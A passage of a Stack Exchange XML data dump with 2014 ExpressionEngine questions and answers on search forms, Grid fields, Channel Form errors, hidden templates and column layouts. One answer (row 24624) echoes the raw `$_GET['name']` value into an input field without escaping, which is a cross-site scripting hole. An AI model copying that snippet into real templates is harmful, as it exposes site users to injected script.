&amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, results from the custom Grid field with:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;root/search_results&quot; }&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;search:downloads:reference&quot; id=&quot;reference&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't seem to be able to get an either/or type result going on.  On a basic level, I'd only really want the entry_title / url_title.  I'm likely missing a key fundamental of the setup somewhere along the line so all help hugely appreciated even if it involves calling me dense ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EE 2.8.1 / Low-Search 3.1.6&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-07-24T06:35:22.273" Title="Low Search - Search in Title and/or Grid Field" Tags="|search|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24600" PostTypeId="2" ParentId="24584" CreationDate="2014-07-23T13:10:58.117" Score="1" Body="&lt;p&gt;I think there's a few different ways to get around the parse order issue. One would be instead of adding process=end you could wrap the member_categories tag pair with stash parse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:member_categories:members category_id=&quot;{exp:stash:get name='my_id'}&quot; limit=&quot;4&quot; backspace=&quot;1&quot; parse=&quot;inward&quot;}&#xA;        {screen_name}, &#xA;    {/exp:member_categories:members} &#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(also added parse=inward to the members tag parameter, but not sure if you'll need it)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-07-23T13:10:58.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24601" PostTypeId="2" ParentId="24599" CreationDate="2014-07-23T13:23:08.843" Score="1" Body="&lt;p&gt;Try using the '&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;search:title&lt;/a&gt;' parameter instead of keywords, and use that with your grid search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;root/search_results&quot; }&#xA;&#xA;    Title: &amp;lt;input type=&quot;search&quot; name=&quot;search:title&quot;&amp;gt;&#xA;    Grid: &amp;lt;input type=&quot;search&quot; name=&quot;search:downloads:reference&quot;&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: Or alternatively, using a keyword search field and adding the field searches to the results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    query=&quot;{segment_3}&quot; &#xA;    search:title=&quot;{low_search_keywords}&quot;&#xA;    search:downloads:reference=&quot;{low_search_keywords}&quot;&#xA;    limit=&quot;10&quot;&#xA;}&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-07-23T14:03:28.470" LastActivityDate="2014-07-23T14:03:28.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24602" PostTypeId="2" ParentId="24586" CreationDate="2014-07-23T13:42:54.503" Score="0" Body="&lt;p&gt;The 2 ways to approach this I know of are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - grab all the results with super search and hide the extra, using js to reveal the extras as needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - grab only a portion of the results with super search, then as needed use ajax to get additional results from a second template (maybe a template formatting the results as json).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether I would use 1 or 2 would depend on how many entries you expect to show, seo concerns, and how much time you want to spend(!). &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-07-23T13:42:54.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24603" PostTypeId="2" ParentId="24590" CreationDate="2014-07-23T14:06:21.487" Score="1" Body="&lt;p&gt;When working on larger projects, i usually write templates to files. That way you can more easily edit in a &quot;real&quot; editor (like sublime etc.) and store a copy in an archive or even version control with git or mercurial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After everything works, you only have to sync all templates via the template manager once (and optionally disable templates as files to serve from database)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think there's a malfunction with template editor, maybe file a bug report.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-07-23T14:06:21.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24604" PostTypeId="1" AcceptedAnswerId="24631" CreationDate="2014-07-23T14:08:00.333" Score="1" ViewCount="84" Body="&lt;p&gt;I want to generate a list of discount codes (any advice appreciated for doing this) which I can then use to offer free shipping across the site, valid up until a specific date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to go about creating these discounts? I'd prefer not to have to manually create hundreds of discounts all the same except for the discount code.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-07-24T04:02:34.230" Title="Expresso Store - upload multiple discount codes to be used once" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24606" PostTypeId="1" CreationDate="2014-07-23T14:37:22.960" Score="0" ViewCount="72" Body="&lt;p&gt;We are a non-profit organization with many volunteers that we assign to various volunteer roles.  I created a Volunteers channel and a Roles channel, and in the Roles channel I set up a relationship field called role_membership where I can add all of the volunteers in the role.  So, I might have a role titled Website Developer, and select John Doe and Jane Smith in the role_membership field.  In this way, many volunteers will be assigned to roles, but we also have new volunteers that have not been assigned a role yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to count the number of entries in the Volunteers channel that have been associated with at least one role (i.e., that have a parent in the Roles channel, role_membership field).  I can't figure out how to alter the exp:channel:entries tag to get this count directly.  Instead I've tried using PHP, but that is not working well.  The following code will work IF I use limit=&quot;50&quot; to set a low limit on the number of channel entries returned.  But, if I set limit=&quot;2000&quot; to get the count I need, I get a PHP out of memory error.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php $assigned_volunteers=0; ?&amp;gt;&#xA;{exp:channel:entries channel=&quot;volunteers&quot; limit=&quot;50&quot;}&#xA;  {parents field=&quot;role_membership&quot;}&#xA;    {if {parents:total_results}&amp;gt;0}&amp;lt;?php $assigned_volunteers+=1; ?&amp;gt;{/if}&#xA;  {/parents}&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a way to obtain the count of volunteers assigned to roles directly by altering the exp:channel:entries tag?&lt;/p&gt;&#xA;" OwnerUserId="3393" LastActivityDate="2014-07-23T14:37:22.960" Title="How can I count the number of channel entries that have parents?" Tags="|relationships|count|parent|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24608" PostTypeId="1" CreationDate="2014-07-23T15:17:27.437" Score="0" ViewCount="32" Body="&lt;p&gt;I am running into an issue with EE. I currently have 3 member groups set up. These are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Super Admins - who have full access to the admin panel&lt;/li&gt;&#xA;&lt;li&gt;Staff- who have limited access to the admin panel&lt;/li&gt;&#xA;&lt;li&gt;Guests - who need channel posting privileges to create member accounts via Zoo Visitor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When i assign the posting privileges to the guest member group, all channel posting privileges for &quot;Staff&quot; are removed and visa versa. Is EE limited to 2 member groups per channel for posting privileges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember a few years back adding a hack to the EE files to lift the limit, but can;t remember where this was added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts and assistance appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2014-07-23T15:17:27.437" Title="EE removes third member group from all channel posting privileges" Tags="|ee2|channel-entries|member-management|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24609" PostTypeId="1" CreationDate="2014-07-23T15:26:42.310" Score="0" ViewCount="78" Body="&lt;p&gt;I have a Homepage channel setup with a &lt;code&gt;homepage&lt;/code&gt; field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the field group, there is a &lt;code&gt;homepage_slider&lt;/code&gt; Grid field and within that Grid there is an &lt;code&gt;image&lt;/code&gt; and &lt;code&gt;page_link&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When called in via the following &lt;code&gt;{homepage_slider:image}&lt;/code&gt; renders correctly (the image shows without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{homepage_slider:page_link}{homepage_slider:page_link:pager}{/homepage_slider:page_link}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Renders only as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{/&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outside of the  it appears to work and display the correct &lt;code&gt;page_uri&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the syntax, it looks like it should be OK and I've trawled through the other settings inside the CMS without much luck in terms of debugging. I've also incrementally removing elements of the template and the problem occurs as soon as the element goes inside of the &lt;code&gt;&amp;lt;a href=&quot;&quot;&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here is the full code block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{homepage_slider}&#xA;&amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{homepage_slider:page_link}{homepage_slider:page_link:page_uri}{/homepage_slider:page_link}&quot;&amp;gt;{exp:ce_img:single src=&quot;{homepage_slider:image}&quot; width=&quot;960&quot; height=&quot;450&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/homepage_slider}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: Running EE 2.8.1)&lt;/p&gt;&#xA;" OwnerUserId="523" LastEditorUserId="523" LastEditDate="2014-07-23T18:36:42.280" LastActivityDate="2016-05-28T15:11:43.810" Title="Template is rendering Grid field output incorrectly within an &lt;a href&quot;&quot;&gt; tag" Tags="|relationships|grid|links|page-uri|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24610" PostTypeId="2" ParentId="24609" CreationDate="2014-07-23T15:47:30.667" Score="0" Body="&lt;p&gt;I'm not sure why the page_link is a tag pair or what page_link:pager is. Could you elaborate on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks to me like the correct code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{homepage_slider}&#xA;&amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{homepage_slider:page_link}&quot;&amp;gt;{exp:ce_img:single src=&quot;{homepage_slider:image}&quot; width=&quot;960&quot; height=&quot;450&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/homepage_slider}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-23T15:47:30.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24611" PostTypeId="1" CreationDate="2014-07-23T16:04:00.790" Score="0" ViewCount="207" Body="&lt;p&gt;I am using Channel Form to edit an existing entry. I am wrapping the channel form inside a Channel Entries block so I can have more than one entry on a page (not using a segment variable to indicate the entry_id). Here is the code I am trying to get to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;image_bank&quot; limit=&quot;1&quot; disable=&quot;trackbacks|member_data|categories&quot; rdf=&quot;off&quot;} &#xA;&#xA;{exp:channel:form channel=&quot;image_bank&quot; entry_id=&quot;{entry_id}&quot; include_jquery=&quot;no&quot;  include_assets=&quot;no&quot; return=&quot;{site_url}/manage/index/&quot; datepicker=&quot;no&quot;}&#xA;&amp;lt;p&amp;gt;&#xA;Description: {field:image_description}&amp;lt;br&amp;gt;&#xA;Keywords: {field:image_keywords}&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It actually does work in that it updates the entry. But it gives an error of “The date you submitted is not valid.” But it still updated the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried including hidden fields for the entry date and edit date but this did not help.  I have tried datepicker=&quot;no&quot; and “yes”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a basic function so I must be missing something basic. I am using ee 2.8.1.&lt;/p&gt;&#xA;" OwnerUserId="2698" LastActivityDate="2014-07-23T16:04:00.790" Title="Using Channel Form to edit enry, getting &quot;The date you submitted is not valid.&quot;" Tags="|safecracker|saef|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24612" PostTypeId="1" CreationDate="2014-07-23T16:22:18.183" Score="0" ViewCount="204" Body="&lt;p&gt;I've been looking for a way to get Google Universal Analytics to keep track of our internal search results. We use the simple search and have results showing up in our search log inside EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a solution laid out in this article for the old analytics system: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/368/tracking-site-searches-in-google-analytics&quot;&gt;tracking site searches in google analytics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone has done something similar for the new code Google has blessed us with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ga('create', 'UA-XXXX-Y', 'auto');&#xA;ga('send', 'pageview {if segment_1 == 'search' &amp;amp;&amp;amp; segment_2 == 'results'}, ['/search/results/?q={exp:search:keywords}']{/if}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lincoln&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-07-23T16:22:18.183" Title="tracking site searches with google universal analytics" Tags="|search|analytics|google|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24613" PostTypeId="1" CreationDate="2014-07-23T16:33:49.783" Score="0" ViewCount="76" Body="&lt;p&gt;I have just migrated my site to the live server and I have a blank screen for both the site and the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the dbtest.php file to my root and there is no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned on debugging and I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /homepages/33/d79609761/htdocs/gaelic_teachers/bord-na-gaidhlig/expressionengine/core/EE_Config.php on line 40&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise on what the issue may be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2014-07-23T16:33:49.783" Title="Blank Screen After Migration to New Server" Tags="|database|server-migration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24614" PostTypeId="1" CreationDate="2014-07-23T17:22:57.023" Score="0" ViewCount="75" Body="&lt;p&gt;I'm using Channel Form to edit the data stored for a CartThrob Order entry.&#xA;I have a couple of CartThrob notifications set up to send an email when the status is changed. These work just fine.&#xA;However, they are also being triggered when any data field is changed... without the Status being changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if an Entry Status is set to &quot;Booked&quot;, a Notification is sent. If I edit the Entry (using Channel Form) but leave the Status as it is (still as &quot;Booked&quot;), the Notification email is sent again anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2016-06-05T10:50:07.087" Title="CartThrob - Change of Status Notifications being sent, even without change of Status" Tags="|cartthrob|safecracker|status|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24615" PostTypeId="1" CreationDate="2014-07-23T17:39:44.237" Score="0" ViewCount="54" Body="&lt;p&gt;Logically I am trying to order entry output by day only using EE native date picker. I want the system to ignore year and month and order only by day. The logic would be order_by=&quot;{customfield format='%d'}&quot;. This is not possible using native EE tags. Any ideas on how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2108" LastActivityDate="2014-07-23T17:39:44.237" Title="How to order by day?" Tags="|date|orderby|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24616" PostTypeId="1" CreationDate="2014-07-23T19:43:29.740" Score="0" ViewCount="171" Body="&lt;p&gt;I'm having an issue with a simple search returning no results for a channel. All the fields in the channel are plain text fields, and all are set to be searchable. All entries in the channel have a status of &quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can display the contents of this channel's entries just fine, but search is consistently sending me to the no results page. My search form code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form form_id=&quot;peopleSearchForm&quot; no_result_page=&quot;search/no-results&quot; result_page=&quot;search/index&quot; channel=&quot;employee_list&quot; search_in=&quot;everywhere&quot; status=&quot;open&quot; where=&quot;all&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;image&quot; src=&quot;/images/interface/btn_search.png&quot; name=&quot;people-submit&quot; id=&quot;people-submit&quot; alt=&quot;Search People&quot;&amp;gt;&#xA; {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions greatly appreciated. I'm completely stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Site is using EE 2.8.1)&lt;/p&gt;&#xA;" OwnerUserId="2726" LastActivityDate="2014-07-23T19:43:29.740" Title="Simple Search returning no results" Tags="|search|simple-search|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24617" PostTypeId="1" AcceptedAnswerId="24626" CreationDate="2014-07-23T20:25:10.980" Score="0" ViewCount="1169" Body="&lt;p&gt;I have a list of dynamic entries I want to split evenly between two columns. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-07-23T22:09:04.247" Title="split dynamic number of entries dynamically between 2 columns" Tags="|dynamic|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24618" PostTypeId="1" AcceptedAnswerId="24619" CreationDate="2014-07-17T14:11:00.173" Score="0" ViewCount="92" Body="&lt;p&gt;I have a template group that I am using to store embeds like header and footer. I do not want people to be able to directly access those templates by going to www.domain.com/embeds/header. I want that to redirect to the 404 page. How do I go about this? Is there a way to block template groups from direct access? Would this be better done in .htaccess? Thanks for any help.&lt;/p&gt;&#xA;" OwnerDisplayName="user3734990" LastEditorUserId="7705" LastEditDate="2018-09-24T22:36:41.863" LastActivityDate="2018-09-24T22:36:41.863" Title="ExpressionEngine: How do I block direct access to templates that I am using for embeds only" Tags="|templates|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24619" PostTypeId="2" ParentId="24618" CreationDate="2014-07-17T19:36:56.867" Score="2" Body="&lt;p&gt;In versions of EE2 &lt;em&gt;prior to 2.9&lt;/em&gt; if you start the template name with a dot it will not be directly accessible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the just-released EE 2.9 you can specify a different character instead of dot and the default has been changed to underscore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation on this feature (currently describes 2.9 handling):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/hidden_templates.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/hidden_templates.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe EE has a mechanism for blocking direct access on the template-group level.  If you needed that then you would probably want to do on the server level (.htaccess rewrites).&lt;/p&gt;&#xA;" OwnerUserId="210" OwnerDisplayName="AllInOne" LastActivityDate="2014-07-17T19:55:53.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24620" PostTypeId="1" CreationDate="2014-07-22T09:05:14.223" Score="0" ViewCount="752" Body="&lt;p&gt;I need to add a custom field in the publish entry area (specifically in the date tab). &#xA;Should I use the Control Panel class or is there a preferred method?&lt;/p&gt;&#xA;" OwnerUserId="3411" OwnerDisplayName="Armin Abbasi" LastEditorUserId="7705" LastEditDate="2018-07-23T12:37:13.997" LastActivityDate="2018-07-23T12:37:13.997" Title="How to add custom field in ExpressionEngine publish entry" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24621" PostTypeId="2" ParentId="24620" CreationDate="2014-07-22T16:10:42.983" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If I understood correctly, you need to add an extra field to an already existing channel and you can easily do that from the CP by going to Admin &amp;gt; &lt;strong&gt;Channel&lt;/strong&gt;&#xA;&lt;strong&gt;Administration &amp;gt; Channel Fields&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Browse and click on the channel that you want to add your custom field&#xA;to and create a new channel field.&lt;/p&gt;&#xA;&lt;p&gt;To put your field under the Date tab:&lt;/p&gt;&#xA;&lt;p&gt;Refer to this &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6319" OwnerDisplayName="greyhills" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-07-22T16:10:42.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24622" PostTypeId="2" ParentId="24617" CreationDate="2014-07-23T20:40:41.030" Score="1" Body="&lt;p&gt;If they have to be in absolutely two columns, you can make two channel entries calls and use the expressionengine modulus (%) operator&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;column1&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;foo&quot;}&#xA;    {if count % 2 == 0}&#xA;        {title}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section class=&quot;column2&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;foo&quot;}&#xA;    {if count % 2 == 1}&#xA;        {title}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that means that you are doubling your queries. I would suggest trying an alternate html/css layout that allows you to make a single channel entries call.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="343" LastEditDate="2014-07-23T21:40:05.697" LastActivityDate="2014-07-23T21:40:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24623" PostTypeId="1" AcceptedAnswerId="24624" CreationDate="2014-07-23T20:40:53.410" Score="0" ViewCount="1478" Body="&lt;p&gt;So I am brand new to ExpressionEngine....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on an expression engine entry page with a few hyperlinks...Based on which hyperlink I click, I want to navigate to another expression engine page with a contact form and dynamically set the value of the subject field based on which hyperlink was clicked on the previous page......How do I go about doing this?  FYI - I'm not new to web programming - other frameworks I've worked in let you set a parameter in the hyperlink so it becomes part of the web request to the next page where you can then grab the parameterized value for setting the subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could even point me in the right direction, that would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="3395" LastActivityDate="2014-07-23T21:04:48.990" Title="How to dynamically fill out a form value field based on a link clicked on another page?" Tags="|dynamic|email-contact-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24624" PostTypeId="2" ParentId="24623" CreationDate="2014-07-23T21:04:11.613" Score="3" Body="&lt;p&gt;It's going to be a little more manual with expressionengine. You might have to set the parameters in the link yourself and use php (or a &lt;a href=&quot;http://devot-ee.com/add-ons/get-post-parameters&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build the link similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/form?name={name}&quot;&amp;gt;{name}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and fill out your form using php (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;php must be enabled on the form template&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&amp;lt;?php echo $_GET['name']; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or that plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{exp:parameters get=&quot;first&quot;}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-23T21:04:11.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24625" PostTypeId="2" ParentId="24623" CreationDate="2014-07-23T21:04:48.990" Score="0" Body="&lt;p&gt;Just use url segments. In the hyperlink href (www.domain.com/form) add whatever parameter you like to it (www.domain.com/form/subject) and then on the form page put value=&quot;{segment_2}&quot;  in your input tag. &#xA;Read more in the EE docs about segments. You might have to encode/decode the uri if you use spaces etc.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-23T21:04:48.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24626" PostTypeId="2" ParentId="24617" CreationDate="2014-07-23T21:09:30.590" Score="1" Body="&lt;p&gt;Use jQuery. Something like this maybe: &lt;a href=&quot;http://johndoesdesign.com/blog/2012/jquery/how-to-split-a-dynamic-list-into-two-equal-columns-using-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://johndoesdesign.com/blog/2012/jquery/how-to-split-a-dynamic-list-into-two-equal-columns-using-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-23T21:09:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24627" PostTypeId="2" ParentId="24617" CreationDate="2014-07-23T22:09:04.247" Score="2" Body="&lt;p&gt;You could try using &lt;a href=&quot;http://devot-ee.com/add-ons/splitter&quot; rel=&quot;nofollow&quot;&gt;Splitter&lt;/a&gt;, I've used it before for tis purpose.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-07-23T22:09:04.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
